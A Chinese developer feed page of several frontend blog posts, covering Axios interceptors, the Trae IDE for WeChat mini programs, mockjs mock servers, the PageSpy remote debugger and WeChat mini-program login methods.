axios.interceptors.request.forEach(function unshiftRequestInterceptors(interceptor) {
chain.unshift(interceptor.fulfilled, interceptor.rejected);
});

axios.interceptors.response.forEach(function pushResponseInterceptors(interceptor) {
chain.push(interceptor.fulfilled, interceptor.rejected);
});

在 Axios 的完整实现中,这个拦截器机制被集成到了 Axios 的请求发送和响应处理流程中。通过这种方式,Axios 可以在发送请求之前和接收响应之后,但在用户定义的 .then.catch 执行之前,插入自定义的逻辑。


请注意,这里提供的代码只是为了说明 Axios 拦截器的实现原理,并不是 Axios 源码的完整复制。如果你对 Axios 的拦截器实现细节感兴趣,建议查看 Axios 的官方 GitHub 仓库中的源码。



前端基建


当我们工作时间久了面试难免会遇到这些问题,前端工程化,前端监控,工作流,部署,性能等等。其实我们在工作中绝大部分时间都在写代码,对于这些不是所有人都有机会接触到,不过这些和所做的业务无关,是我们提升自己很好的一个思路。


技术选型


技术栈选 Vue 还是 React?Vue 选 Vue2 还是 Vue3?组件库选 ElementUI 还是 Ant Design?微前端有没有使用过?打包工具用 Vite 还是 Webpack?有那么多表单怎么实现的,有没有什么表单配置化方案,比如Formily?


对于我这种菜鸡,我这种只写简单的表单表格的人,这些都……无所谓……


image.png

不过为了应对面试我们还是需要了解下未选择技术栈的缺点,和已选择技术栈的优点(有点本末倒置…但是常规操作啦)


Vue 你可以说简单高效轻量级,面试必会问你为什么,你就开始说 Vue 的响应式系统,依赖收集等。


React 你可以说 JSX、Hooks 很灵活,那你必然要考虑 JSX 怎么编译, Hooks 实现方式等。


总体而言,对于技术选型,依赖于我们对所有可选项的理解,做选择可能很容易,给出合理的理由还是需要花费一些精力的。


开发规范


这个方面,在面试的时候我被问到的不多,我们可以在创建项目的时候,配置下 ESlintstylelintprettiercommitlint 等。


前端监控


干了这么多年前端,前端监控我是……一点没做过。


image.png

前端监控,简单来说就是我们在前端程序中记录一些信息并上报,一般是错误信息,来方便我们及时发现问题并解决问题。除此之外也会有性能监控,用户行为的监控(埋点)等。之前也听过有些团队分享前端监控,为了出现问题明确责任(方便甩锅)。


对于实现方案,无论使用第三方库还是自己实现,重要的都是理解实现原理。


对于错误监控,可以了解一下 Sentry,原理简单来说就是通过 window.onerrorwindow.addEventListener('unhandledrejection', ...) 去分别捕获同步和异步错误,然后通过错误信息和 sourceMap 来定位到源码。


对于性能监控,我们可以通过 window.performancePerformanceObserver 等 API 收集页面性能相关的指标,除此之外,还需要关注接口的响应时间。


最后,收集到信息之后,还要考虑数据上报的方案,比如使用 navigator.sendBeacon 还是 Fetch、AJAX?是批量上报,实时上报,还是延迟上报?上报的数据格式等等。


CI/CD


持续集成(Continuous Integration, CI)和 持续部署(Continuous Deployment, CD),主要包括版本控制,代码合并,构建,单测,部署等一系列前端工作流。


场景的工作流有 Jenkins、 Gitlab CI 等。我们可以配置在合并代码时自动打包部署,在提交代码时自动构建并发布包等。


这块我了解不多,但感觉这些工具层面的东西,不太会涉及到原理,基本上就是使用的问题。还是需要自己亲自动手试一下,才能知道细节。比如在 Gitlab CI 中, Pipeline 、 Stage 和 Job 分别是什么,怎么配置,如何在不同环境配置不同工作流等。


了解技术动态


这个可能还是比较依赖信息收集能力,虽然我个人觉得很烦,但好像很多领导级别的面试很愿意问。


比如近几年很火的低代码,很多面试官都会问,你用过就问你细节,你没用过也会问你有什么设计思路。


还有最近的两年爆火的 AI,又或者 Vue React的最新功能,WebAssembly,还有一些新的打包工具 Vite Bun 什么的,还有鸿蒙开发……


虽然不可能学完每一项新技术,但是可以多去了解下。


总结


写了这么多,可能有人会问,如果能回到过去,你会怎么做。


啊,我只能说,说是一回事,做又是另一回事,事实上我并不希望回到过去去卷一遍,菜点没关系,快乐就好,一切都是最好的安排。


image.png

作者:我不吃饼干
来源:juejin.cn/post/7360528073631318027
收起阅读 »

trae 深度体验:使用trae完美开发微信小程序

web
trae 深度体验:使用trae完美开发微信小程序 安装 trae 安装 trae 教程和使用文档大家可以参考官方文档,很详细。使用过 vscode 的用户几乎可以无缝切换过来。官方文档:docs.trae.ai/docs/what-i… 目前只支持 mac...
继续阅读 »

trae 深度体验:使用trae完美开发微信小程序



安装 trae


安装 trae 教程和使用文档大家可以参考官方文档,很详细。使用过 vscode 的用户几乎可以无缝切换过来。官方文档:docs.trae.ai/docs/what-i…


目前只支持 mac 系统,windows 预计 2 月份上线。


如果遇到下面的错误,请科学上网解决;


9d570441458a5014cd84fe035457eddc.jpg


trae 项目实战:开发微信小程序


插件安装


要想在 trae 中完美体验小程序开发首先需要安装必要的两个插件WXML微信小程序开发工具


WXML:微信小程序 .wxml 文件代码高亮,标签、属性的智能补全(同时支持原生小程序、mpvue 和 wepy 框架,并提供 code snippets)


微信小程序开发工具:提供小程序预览、打包上传、代码补全、语法高亮、项目模版等功能


安装 “wxml”插件

按照 vscode、trae 的插件安装方式安装就可以顺利安装:


CleanShot 2025-01-23 at 10.39.54


安装 “微信小程序开发工具”插件

这个工具安装有一些曲折,按照 vscode 的使用习惯,首先在插件市场按名称搜索,结果大出意料,没有😄。


image-20250123105253075


不知道是哪里出现了问题,按照官方文档指引去下载。


image-20250123105506806


打开官方的网址 docs.trae.ai/docs/manage…, 全是英文,没关系,使用豆包 APP 打开网页,让豆包总结网页内容就行 😄:


image-20250123110057035


文档中提到了两种方式:



  • 从 Trae 的插件市场中安装(没搜索到微信小程序开发工具插件,此路不通😭)

  • 把插件下载到本地,使用本地安装的方式。看下面动图:


CleanShot 2025-01-23 at 11.05.14


右下角提示,直接安装失败!此路也不行。作为一个程序员折腾是我的本能,看看 trae 的 AI 能力能不能提供帮助。


顺便遇到个 bug:


image-20250123111111794


插件安装失败后,图中的两个按钮点击了都没有任何反应,只能重启 trae 才能解决。



  • 求助 trae 的 AI


    使用快捷键 command + U 打开右侧边栏,输入要问的问题:


    image-20250123112424432



看到上图,这个插件我们已经安装,在 trae chat 中给到的建议是里面有 "小程序开发助手"插件,但是没有提到如何安装。


更换模型,在 chat 的对话框右侧点击切换模型,使用 gpt-4o,来解决插件安装的问题:


image-20250123112853201


多次尝试后,回答还是一如既往的固执。


在AI 给到的回复当中有个插件的命令,不过这个命令适合 vscode。image-20250123113145456


点击运行按钮试试,此时 trae 会自动打开 terminal,直接执行命令


image-20250123113559819


提示安装成功,但是给 vscode 安装了。继续提问:


image-20250123114016037


嗯,还是 vscode 命令,不过也没关系,更换为 trae 就行了:


trae --install-extension /Users/oo7/Downloads/crazyurus.miniprogram-vscode-extension-1.5.1.vsix


等待命令执行完毕:


image-20250123114209616


安装成功。


至此两个插件就安装完毕,可以做小程序的开发了。


小结

在trae中安装用于微信小程序开发的“WXML”和“微信小程序开发工具”插件,过程各有不同:



  • “WXML”插件:按照vscode、trae常规的插件安装方式即可顺利安装。

  • “微信小程序开发工具”插件:在trae插件市场和vscode插件市场均搜索不到,通过从官方文档下载插件本地安装失败,求助trae的AI起初未得到有效解决,最终通过将适用于vscode的安装命令修改为适用于trae的命令trae --install-extension /xxxx/crazyurus.miniprogram-vscode-extension-1.5.1.vsix ,成功安装。

  • 安装完成两个插件后,即可进行小程序开发。 同时,安装插件失败时存在点击重试和关闭按钮无反应的bug,需重启trae解决。

  • 点击 chat 区域的 run 按钮一定要检测命令的安全性(不然遇到非法的命令直接运行结果很严重),同时也建议trae 只复制命令到终端即可。


小程序项目开发


在 trae 中开发小程序,还需要下载微信开发者工具,也许有人会问既然有了微信开发者工具为什么还要使用 trae?



  • 微信开发者工具编写代码远远没有使用 trae 写代码快,bug 多,没有 AI。

  • trae 功能插件丰富、UI nice、拥有免费的 AI👍。

  • 微信开发者工具不能少,微信开发者工具有实时渲染,代码检测、性能分析、一键上传代码等微信小程序必须的功能。


使用 微信开发者工具打开你的项目,并点击打开模拟器和分离窗口,如下图:


image-20250123134947333


然后打开 trae 编辑器,在你的桌面布局中配置如下排列方式:


image-20250123135201768


这样我们就可以实现一边写代码一边调试效果的目地。


编写页面


代码编写

我已经有这样一个页面,不过界面太难看了,使用 Trae 来调试他:


image-20250123140535900


页面 wxml 代码 :


 <!--pages/tools/index.wxml-->
 <navigation-bar
     title="{{pageTitle}}"
     back="{{false}}"
 >
 </navigation-bar>
 <scroll-view
     type="custom"
     scroll-y
     enable-flex="{{false}}"
     scroll-with-animation="{{true}}"
     enable-back-to-top="{{true}}"
     enable-passive="{{true}}"
     show-scrollbar="{{false}}"
     refresher-default-style="white"
     bounces="{{true}}"
     fast-deceleration="{{true}}"
     lower-threshold="{{50}}"
     style="width: 100%; height: 100%;"
 >
     <sticky-section>
         <view class="toolbox" wx:if="{{tools.length > 0}}">
             <view class="item" wx:for="{{toolList}}">
                 <navigator open-type="navigate" hover-class url="{{item.url}}">
                     <image src="{{item.imageUrl}}" fade-in="{{true}}" mode="widthFix"></image>
                     <text class="title">{{item.title}}</text>
                     <view  class="description">
                         <text><span class="iconfont icon-Fire-fill-red"></span>{{100}}</text>
                         <text class="description_right">去创作 <span class="iconfont icon-ChevronRight" style="font-size: 12px;"></span></text>
                     </view>
                 </navigator>
             </view>
         </view>
     </sticky-section>
 </scroll-view>

界面样式实在太丑了,对 .description 进行样式修改。在 index.wxss 文件中,选中 .description 的样式,在悬浮工具条中点击添加到对话,然后我们在对话区域输入我们的修改要求,trae 进行回答。然后点击应用按钮,可以直接把新的代码插入到源文件对应的行。并且 trae 还很贴心的显示了新旧代码的区分。


CleanShot 2025-01-23 at 14.23.05


最后完成页面的修改,看效果:


image-20250123145057241


index.wxss


 @import '../../asseat/iconfont.wxss';
 ​
 .toolbox {
     display: flex;
     flex-direction: row;
     flex-wrap: wrap;
     justify-content: space-around;
 }
 ​
 .toolbox .item {
     display: flex;
     flex-direction: row;
     flex-wrap: wrap;
     justify-content: space-around;
     width: 45%;
     background-color: white;
     margin-bottom: 20px;
     box-shadow: 0 3px 5px rgba(0, 0, 0, 0.1);
 }
 ​
 .toolbox .item image{
     /* height: 50px;*/
     /* max-width: 100px; */
     width: 100%;
     overflow: hidden;
     /* border-radius: 5px; */
     border-top-left-radius: 5px;
     border-top-right-radius: 5px;
 }
 ​
 .toolbox .item .title {
     line-height: 40px;
     font-size: 15px;
     /* white-space: normal; */
     align-items: center;
     width: 100%;
     padding-left: 10px;
     font-weight: 400;
     text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.3)
 }
 ​
 .description {
     display: flex;
     flex-direction: row; /* 修改为列布局 */
     flex-wrap: nowrap;
 }
 .description .iconfont{
     font-size: 12px;
 }
 .description text {
     display: inline;
     line-height: 20px;
     font-size: 12px;
     width: 100%;
     padding-left: 10px;
     font-weight: 400;
     /* text-shadow: 1px 1px 3px rgba(0, 0, 0, 0.3) */
  }
  .description text:first-child{
      color: red;
  }
 ​
 .description .description_right{
     font-size: 12px;
     text-align: right;
     width: 95%;
     display: inline-block;
     margin-right: 5px;
     color: #3cc51f;
 }

如果我们需要回溯代码的历史记录,我们可以选中代码,然后在工具条中选择编辑即可查看。


image-20250123145436290


再来看动图,效果杠杠的🐂:


CleanShot 2025-01-23 at 15.20.41


使用设计图转换为小程序代码

首先我们准备一个页面的设计图


image-20250123161559306


然后使用快捷键 command+U打开右侧的chat 区域,把设计图粘贴进去,并进行对话。输入对话内容:把上图的样式布局转换为微信小程序的代码。看下面动图:


CleanShot 2025-01-23 at 16.13.00


这样会生成对应微信小程序的3个文件: index.wxml、index.wxss、index.js ,然后我们使用应用按钮,将代码插入到对应的文件即可。看最后的效果:


image-20250123161916511


看着效果还行,如果在使用过程中效果不是很好,可以多尝试几次。


小结

1、我们在编写代码过程中与AI 助手聊天,可以指定Trae中的内容(例如代码、文件、文件夹和工作区)作为AI助手阅读和理解的上下文。这 可确保AI助手的响应更符合您的需求。


image-20250123162808495


大家在使用AI的过程中,普遍感觉就是AI不能代替程序员,写出来的代码基础就不能用,原因就是一般的 AI 无法理解用户的工程文件结构黑内容,更无法知道你文件之间、代码直接的关系。trae 做到了,通过项目、文件、代码直接的逻辑生成的答案更贴合实际情况,所以效果会更好些。


2、将图片直接转换为代码依赖强大的多模态模型,大大减低了程序员的工作量。不需要依赖任何内容,将生成的内容稍微修改就可以直接使用, good job 👍。


代码管理


trae 无缝集成了 git 的代码管理功能,我们只需要点点按钮就可以了。可以通过下面的两种方式激活代码管理:



  • 如果当前打开的文件夹没有 Git 仓库,请单击初始化仓库以为其初始化一个仓库。初始化完成后,源代码控制将被启用。

  • 单击发布到 GitHub直接将此文件夹发布到 GitHub 仓库。发布后,可以访问源代码控制。


image-20250123164831862


Trae配置


熟悉 vscode 的用户,对于配置 Trae 也很简单,使用快捷键 command+, 打开设置项:


根据自己的喜好配置即可。


image-20250123165241398


总结



  • 安装 Trae:可参考官方文档进行安装,使用过 VS Code 的用户能无缝切换。

  • 插件安装


    WXML 插件:按常规方式顺利安装,可实现代码高亮、智能补全等功能。


    微信小程序开发工具插件:在市场搜索无果,本地安装失败。最终将适用于 VS Code 的命令修改后成功安装。安装失败时存在按钮无响应的 Bug,需重启 Trae 解决。


    Trae 的插件市场有部分插件是无法搜索到(具体原因未知),遇到无法安装的插件建议使用离线安装的方式,使用命令安装,


  • 小程序项目开发


    结合工具:同时使用微信开发者工具和 Trae,微信开发者工具于实时渲染等,Trae用于高效代码编写和利用 AI 功能。


    代码编写:可选中代码向 Trae 的 AI 提出修改要求,直接将新代码插入源文件,还能查看代码历史记录。



    • 设计图转换代码:依赖多模态的能力,可以在 chat 区域,粘贴设计图并对话,可生成小程序代码文件,效果不佳时可多次尝试。

    • 代码管理:无缝集成 Git 功能,可通过初始化仓库或发布到 GitHub 激活源代码控制。

    • 配置 Trae:熟悉 VS Code 的用户可使用快捷键打开设置项进行个性化配置。




作者:demo007x
来源:juejin.cn/post/7462947628474171403
收起阅读 »

后端:没空,先自己 mock 去

web
前言后端开发忙,不给你接口?后端抱怨你在测试过程中,频繁的给脏数据?后端修个接口很慢没法测试?有了 mockjs ,这些问题将迎刃而解。不要 998,pnpm i 带回家!真这么丝滑?请看我的使用方式:当后端接口无法满足要求,且不能及时更改时。例如后端返回{ ...
继续阅读 »

前言

后端开发忙,不给你接口?

后端抱怨你在测试过程中,频繁的给脏数据?

后端修个接口很慢没法测试?

image.png

有了 mockjs ,这些问题将迎刃而解。不要 998,pnpm i 带回家!

真这么丝滑?

请看我的使用方式:

当后端接口无法满足要求,且不能及时更改时。例如后端返回

{
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
}
}
],
}

但我此时希望增加一个 user_type 来确定页面的展示。

那我就直接起一个文件:user.js,把刚才的响应 copy 过来,并追加改动

myMock('/api/v1/user', 'post', () => {
return {
"err_no": 0,
"err_msg": "success",
"data": [
{
"comment_id": "7337487924836287242",
"user_info": {
"user_name": "陈陈陈_",
"user_type": "admin",
}
}
],
}
});

如此一来,这个请求就被无缝替换为了我们的 mock,可以随便测试了。

如何接入 mockjs

有的同学就要问了,主播主播,你的 mockjs 确实很方便,怎么接入比较好呀。别急,我们一步一步来

  1. 安装 mockjs
pnpm i mockjs

如果是使用 ts 的同学,可能需要额外安装 type 类型包:@types/mockjs

  1. 新建一个 mock 文件夹,在 mock/index.ts 放入基本路径
// 各种 mock 的文件,视条件而定,我这里有俩文件就引入了俩
import './login/user.js';
import './model/model.js';

并且在你的项目入口 ts 中引入 mock/index.ts

import './mock/index'; // 引入 mock 配置
  1. 导出一个 myMock 方法,并追加一个 baseUrl 方便直接联动你的 axios
import { ENV_TEST } from '@/api/config/interceptor';
import Mock from 'mockjs';

export const myMock = (
path: string,
method: 'get' | 'post',
callback: (options: any) => any
) => {
Mock.mock(`${ENV_TEST}${path}`, method, callback);
};

如此一来,你就可以在 mock 文件夹下去搞了,比如:

我想新增一个服务模块的各类接口的 mock,那么我就新增一个 service 文件夹,在其下增加一个 index.ts,并对对应路径进行 mock

myMock('/api/v1/service', 'get', () => {
return {
code: 0,
msg: 'hello service',
data: null,
};
});

另外,别忘了在 mock/index.ts 引入文件

不显示在 network 中?

需要说明的是,这样走 mock 是不会触发真正的请求的,相当于 xhr 直接被 mock 拦截了下来并给了你返回值。所以你无法在 network 中看到你的请求。

这是个痛点,目前比较好的解决方案还是起一个单独的服务来 mock。但这样也就意味着,需要另起一个项目来单独做 mock,太不优雅了。

有没有什么办法,既可以走上述简单的mock,又可以在需要的时候起一个服务来查看 network,并且不需要额外维护两套配置呢?

有的兄弟,有的。

import express from 'express';
import bodyParser from 'body-parser';
import Mock from 'mockjs';
import './login/user.js';
import './model/model.js';
import { ENV_TEST } from './utils/index.js';

const app = express();
const port = 3010;

// 使用中间件处理请求体和CORS
app.use(bodyParser.json());

// 设置CORS头部
app.use(( _ , res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization');
next();
});

// 设置Mock路由的函数
const setupMockRoutes = () => {
const mockApis = Mock._mocked || {};

// 遍历每个Mock API,并生成对应的路由
Object.keys(mockApis).forEach((key) => {
const { rurl, rtype, template } = mockApis[key];
const route = rurl.replace(ENV_TEST, ''); // 去掉环境前缀

// 根据请求类型(GET, POST, 等)设置路由
app[rtype.toLowerCase()](route, (req, res) => {
const data =
typeof template === 'function' ? template(req.body || {}) : template;
res.json(Mock.mock(data)); // 返回模拟数据
});
});
};

// 设置Mock API路由
setupMockRoutes();

// 启动服务器
app.listen(port, () => {
process.env.NODE_ENV = 'mock'; // 设置环境变量
console.log(`Mock 服务已启动,访问地址: http://localhost:${port}`);
});

直接在 mock 文件夹下追加这个启动文件,当你需要看 network 的时候,将环境切换为 mock 环境即可。本质是利用了 Mock._mocked 可以拿到所有注册项,并用 express 起了一个后端服务响应这些注册项来实现的。

在拥有了这个能力的基础上,我们就可以调整我们的命令

  "scripts": {
"dev": "cross-env NODE_ENV=test vite",
"mock": "cross-env NODE_ENV=mock vite & node ./src/mock/app.js"
},

顺便贴一下我的 env 配置:

export const ENV_TEST = 'https://api-ai.com/fuxi';
export const ENV_MOCK = 'http://localhost:3010/';

let baseURL: string = ENV_TEST;

console.log('目前环境为:' + process.env.NODE_ENV);
switch (process.env.NODE_ENV) {
case 'mock':
baseURL = ENV_MOCK;
break;
case 'test':
baseURL = ENV_TEST;
break;
case 'production':
break;
default:
baseURL = ENV_TEST;
break;
}

export { baseURL };

这样一来,如果你需要看 network ,就 pnpm mock,如果不需要,就直接 pnpm dev,完全不需要其他心智负担。

三个字:

image.png

参数相关

具体的 api 可查阅:github.com/nuysoft/Moc… 相关的文章也非常多,就不展开说明了。

如果这篇文章对你有帮助,不妨点个赞吧~


作者:imoo
来源:juejin.cn/post/7460091261762125865

收起阅读 »

小程序开发体验差,你试过 PageSpy 了吗?

web
做过小程序的人都知道,小程序的开发体验很糟糕,其中一个很难受的点就是调试。虽然在电脑上开发可以用调试工具,但众所周知很多问题得到真机上才能暴露出来,而小程序真机调试用的 vconsole 又很鸡肋,屏幕小,输入难,还是阉割版(阉割了网络、存储功能,不知道出于什...
继续阅读 »

做过小程序的人都知道,小程序的开发体验很糟糕,其中一个很难受的点就是调试。虽然在电脑上开发可以用调试工具,但众所周知很多问题得到真机上才能暴露出来,而小程序真机调试用的 vconsole 又很鸡肋,屏幕小,输入难,还是阉割版(阉割了网络、存储功能,不知道出于什么考虑)。另一个缺陷是,无论是开发工具还是 vconsole,你都只能在「本机」上运行,测试同学要是离你很远的话,想喊你看个 bug,只能截图。


今天介绍一个神奇的工具,全方位的提升小程序的调试体验。


PageSpy 简介


官网:http://www.pagespy.org/


github:github.com/HuolalaTech…


# 相见恨晚的前端开发利器-PageSpy


PageSpy 是由货拉拉大前端开源的一款用于远程调试 Web 的工具,它可以针对远程页面提供类似 Chrome DevTools 的调试体验,无论网页实际运行在哪里。除了实时调试,它还支持离线录制,将已经发生的用户操作和历史日志录制下来随时回放。


除了 web 平台,它还把同样的调试功能带到了小程序上。我们来看看使用 PageSpy 调试小程序有什么不一样的体验。


部署和接入


PageSpy 分为服务端、调试端网页和客户端 SDK,官方文档有详细的部署和接入说明,这里不再赘述:


部署指南:http://www.pagespy.org/#/docs/depl…


小程序的 SDK 以 npm 包的方式提供:


import PageSpy from '@huolala-tech/page-spy-wechat';

const $pageSpy = new PageSpy({
api: "<your-pagespy-host>",
})

详细参考:http://www.pagespy.org/#/docs/mini…


在线调试


针对小程序,目前 PageSpy 内置了四个模块:输出,网络,存储,系统。


1. 输出



1. 大屏看日志


比手机小屏上的 vconsole 爽多了,而且不受设备限制,无论小程序运行在什么设备上,都能通过调试端网页远程看到运行情况。


2. 远程执行代码


vconsole 输入很难受,而 PC 键盘输入的效率就很高,PageSpy 打破了小程序无法执行远程代码的限制。这一功能需要安装插件 @huolala-tech/page-spy-plugin-mp-eval 来支持。不过需要注意上线的时候要去掉,小程序对远程执行代码审查很严格,把该插件带到线上去的话很可能审核不通过。


3. 运行上下文


PageSpy 的远程执行代码和你自己写的代码运行在 「同一个上下文」。这有什么意义呢?


你可以自己试一下:


例如你在你的代码里为全局变量加一个字段:wx.a = 123,在 vconsole 里,你是获取不到这个变量的,反之亦然。


甚至 getCurrentPages 和 getApp 也不能用:



冷知识:小程序的 vconsole 和你的代码 不在一个上下文!


vconsole 是把用户环境的日志通过代理打印到了自己的上下文,又把 wx.xxx 之类的 api 代理到用户上下文去执行。微信似乎只想把它当成一个查看日志的窗口,而不希望用户利用它随意执行代码。


PageSpy 就不会有这个问题,它和你的代码运行在同一个上下文空间,可以直接和你的代码进行交互。


2. 网络


微信小程序自带的 vconsole 阉割了网络模块,所以在真机调试时看不到网络请求日志,非常的不方便。


来看 PageSpy 的网络面板:




和 Chrome 很像。通过 wx.request 发起的请求都可以记录到,而图片、字体之类的资源类请求还看不到,目前来说已经能带来很大帮助了。


3. 存储


小程序的 vconsole 同样也没有 storage 面板🤦🏻,只提供了一个清除 storage 的按钮,令人费解。



来看 PageSpy 的存储面板:



PageSpy 的 web 版 SDK 有 localStorage,sessionStorage,cookie,indexedDB 等多种存储方式,小程序原生只有一个 storage。不过未来倒是可能支持小程序的「本地临时文件」。


4. 系统


系统面板就是把你调用 wx.getSystemInfo、wx.getSetting 等系统 API 能获取到的信息,在这里更清晰、直观的列了出来。例如用户说他某个功能不起效,你看一下这里,可能就知道是不是因为他的系统版本过低,或者某个权限没开导致的。



用户授权信息:



5. 页面呢 ??


如果你用过 web 版的 PageSpy,会发现小程序版的比 web 版的少了一个「页面」模块。因为小程序本身的限制,没有办法拿到页面的 dom 结构,也就没法像 web 一样远程调试界面,这是目前唯一输给 vconsole 的点。也许未来发明了什么黑科技,或者官方良心发现放出一些接口,这个功能才得以实现。


离线录制


PageSpy 不仅支持实时调试,还支持离线录制。假如你在调试小程序的时候发现了一个问题而恰巧又没有连上实时调试,或者你想把某次操作记录存下来慢慢研究或者分享给其他人,就可以用到这个功能。


首先安装插件 @huolala-tech/page-spy-plugin-mp-data-harbor


import PageSpy from '@huolala-tech/page-spy-wechat';
// 引入离线录制插件
import DataHarborPlugin from '@huolala-tech/page-spy-plugin-mp-data-harbor';
// 注册插件
const harbor = new DataHarborPlugin(config);
PageSpy.registerPlugin(harbor);
// 实例化 pageSpy
const $pageSpy = new PageSpy();

添加了该插件之后,小程序的一切日志就会被离线的记录在内存中,之后你可以在需要的时候,调用 $pageSpy.showPanel()方法呼出一个弹窗,就可以将刚刚记录的日志传到 PageSpy 后台:



在 PageSpy 的调试端,进入「日志回放」页面,就可以看到刚刚上传的日志:




兼容性


小程序有那么多平台,每家都有差异,PageSpy 都支持吗?


是的,PageSpy 目前支持绝大部分市面上的小程序类型:微信、支付宝、抖音、百度、mpaas... 官方给出了4个小程序平台的包:


如果是用原生框架写的小程序,目前官方针对使用量较大的微信和支付宝提供了专门的原生 SDK:


@huolala-tech/page-spy-wechat


@huolala-tech/page-spy-alipay


如今很多小程序使用的是 uniapp 或 taro 之类的跨端框架,官方也提供了相应的 SDK:


@huolala-tech/page-spy-uniapp


@huolala-tech/page-spy-taro


如果你要开发抖音、百度、钉钉之类的冷门平台小程序,只要 uniapp 或者 taro 支持,那就可以用上 PageSpy。


除此之外,uniapp 编译的原生 APP,React Native,甚至鸿蒙应用,它都支持,全平台制霸了属于是。


扩展性


插件系统


前文提到的很多功能都依赖于插件,实际上 PageSpy 的所有功能模块都是通过插件实现的,输出、网络、存储、系统这些是内置插件,不需额外配置,而远程执行代码、离线日志是可选的插件。


除此之外你还可以开发自定义的插件,PageSpy 的核心功能是在客户端和调试端之间建立了一个双向的消息通道,通过自定义插件,你可以利用这条通道做你想做的任何事情。例如观测埋点上报,远程执行指令,甚至通过它远程聊天,发送语音视频消息,也不是不可能。


插件文档:


http://www.pagespy.org/#/docs/plug…


开源贡献


最后,不要忘了 PageSpy 是个开源软件,通过插件实现不了的,还可以贡献代码:


github:github.com/HuolalaTech…


作者:qkang
来源:juejin.cn/post/7461626575207825434
收起阅读 »

2025年微信授权登录全方案

web
经常做小程序的小伙伴都曾遇到过这个问题,那就是小程序授权登录,官方文档经常更新,API不时更新迭代,对于基础库版本等等,都有着既定要求。 按照以往方式再去做,发现行不通,折腾一上午,整个人沉默了,原来是官方又进行了大改...... 对于小程序登录的问题,借着2...
继续阅读 »

经常做小程序的小伙伴都曾遇到过这个问题,那就是小程序授权登录官方文档经常更新API不时更新迭代对于基础库版本等等,都有着既定要求。


按照以往方式再去做,发现行不通,折腾一上午,整个人沉默了,原来是官方又进行了大改......


对于小程序登录的问题,借着2025开年之际,给宝子们做一期盘点,来一期《小程序授权登录复盘全攻略》,日常做需求时,大家尽管放心食用,话不多说,直接开始正题!


拜托拜托:点赞收藏是我更新的最大动力!!!


目前为止,微信小程序登录授权,有三种方式,第一种是无感登录,第二种是手机号登录,第三种是用户信息授权登录


比较经典的就是飞猪小程序和顺丰小程序,如果你不知道怎么做,可以去看看它们的样式,一目了然


比如下面这个登录首页面,就属于经典的手机号登陆


QQ图片20250110103439_副本.png


点击快速登录,小程序会迅速调用用户的手机号授权


QQ图片20250110103433_副本.png


再放一个案例,那就是用户信息授权登录,顾名思义,该登陆主要为了获取用户信息(姓名、性别、地址、昵称等等),用于给个人中心模块做铺垫,图中人名我这边和谐掉,因为也是我前两天刚做完的业务。


Snipaste_2025-01-10_10-43-33_副本.png


至于无感登录,这里就不演示了,因为无感无感,顾名思义就是没有感觉,用户是看不出来授权的,所以直接讲方法就好!


顺便放上小程序开发文档:微信小程序官方文档


1.无感登录


首先无感登录是最简单的,步骤只有两步,第一步是前端调用官方文档API——wx.login,拿到登陆凭证code,通过wx.request()发起网络请求,随即传给后端。


第二步,后端那边利用code + appid + appsecret这三个数值,调用微信的auth.code2Session接口,拿到用户唯一标识openid 和 会话密钥session_key,随即定义token,将之与openid和session_key关联,最后再返回给前端。


前端拿到token,就很简单了,按照正常操作即可,比如拿token设置请求头、存入vuex、pinia等等,顺理成章直接写即可,大家都能明白。


总结一点:无感登录,说白了,就是拿小程序token的过程,够直白了吧!


至于有人会问,appid和appsecret是什么?看下图即可!(都在你的小程序后台里)


微信小程序开放平台:官方传送门


Snipaste_2025-01-10_11-02-01_副本.png


具体讲一下方法,顺便把代码附在下面,大家可以直接移植!


首先要注意的是,调用wx.login的时候,你的小程序基础库版本,不能低于2.3.1


image.png


可以在你的原生小程序工具查看


image.png


其次再看看wx.login的传参+返回值,重点关注success和fail,一个是成功回调,一个是失败回调


image.png


返回值是code,有时效限制,这里要注意的是,前端的appId,要和后端的appId一致。


有的人拿不同的appId去调用接口,最后会导致500报错!


image.png


代码示例:(用uniapp的,将wx.login替换为uni.login即可),example.com/onLogin 这个是事例网址,需要替换为你们后端的接口,主要用来获取token。


wx.login({
success (res) {
if (res.code) {
//发起网络请求
wx.request({
url: 'https://example.com/onLogin',
data: {
code: res.code
}
})
} else {
console.log('登录失败!' + res.errMsg)
}
}
})

2.手机号登陆


需要注意的是,个人账号,无法使用手机号登录功能,并且该功能是收费的。


标准单价每次组件调用成功,收0.03元,每个小程序账号将有1000次体验额度,该1000次的体验额度为正式版、体验版和开发版小程序共用,超额后,体验版和开发版小程序调用同正式版小程序一样,均收费。


这一要说明一点的是,相信很多人在网上都看到类似encryptedData、iv获取手机号的方法,25年为止,微信又改版了,手机号登录的流程又得到了简化。(前提是使用付费服务)


流程为:调用bindgetphonenumber,返还code,这个code是限时+一次性的,服务器只需要拿着这个code去和微信换手机号就可以了


传送门一:官方手机组件


传送门二获取手机号最新方法
`


<button open-type="getPhoneNumber" bindgetphonenumber="getPhoneNumber"></button>

`
这里要注意一点,如果你用的是uniapp,那么bindgetphonenumber需要换为@getphonenumber


还是通过wx.login拿code,然后调用这个接口,具体要和后端商量,前端的工作并不多,调用而已


image.png


参数需要这几个


image.png


与此同时,返回值手机号就来了


image.png


所以手机号登录没那么复杂,重点是需要付费,不付费的话,让用户自行输入表单,也行,看具体业务实现方式


3.用户信息授权登录


对于用户授权登录的问题,那么就绕不过wx.getUserInfo和wx.getUserProfile的历史渊源了。


早期的小程序开发,大家都是通过wx.getUserInfo拿到用户头像昵称,结果2021年4月,微信社区改版,导致getUserInfo不再有授权流程,开发者只能获取到匿名信息。


比如名字,大家都叫做“微信用户”,而头像,接口返回的都是统一灰色头像。


可这样就带来一个问题,那就是不同用户,昵称头像都一样,完全不方面管理,所以wx.getUserProfile接口应运而生!


这一有一个行为,大家要注意,wx.getUserInfo获取用户信息,不会有底部弹窗,而wx.getUserProfile则会出现下方的底部弹窗(样式看开头),根据你的需求自行选择。


再到2022年10月,微信社区又改版了,就连wx.getUserProfile这个接口,也不给开发者权限了,用户名+头像,全部变成了统一的“微信用户”+灰色头像。


所以如果你实在想获取用户信息,那么利用组件,让用户自行填写,是不错的选择。
`


